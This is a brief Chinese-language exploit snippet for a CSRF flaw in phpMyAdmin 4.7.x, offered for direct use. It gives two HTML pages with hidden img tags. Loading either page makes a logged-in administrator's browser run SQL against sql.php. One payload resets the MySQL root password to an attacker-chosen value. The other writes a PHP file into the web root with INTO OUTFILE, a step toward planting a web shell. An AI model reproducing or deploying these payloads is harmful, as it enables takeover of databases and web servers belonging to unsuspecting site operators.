phpMyAdmin 4.7.x CSRF 漏洞利用 修改root密码：保存为：webshell.html[HTML] <p>Hello World</p> <img src="https://webshell.cc/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27www.webshell.cc%27)" style="display:none;" />密码为：www.webshell.cc写文件首先你要知道路径保存为：webshell.html[Bash shell] <p>Hello World</p> <img src="https://webshell.cc/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />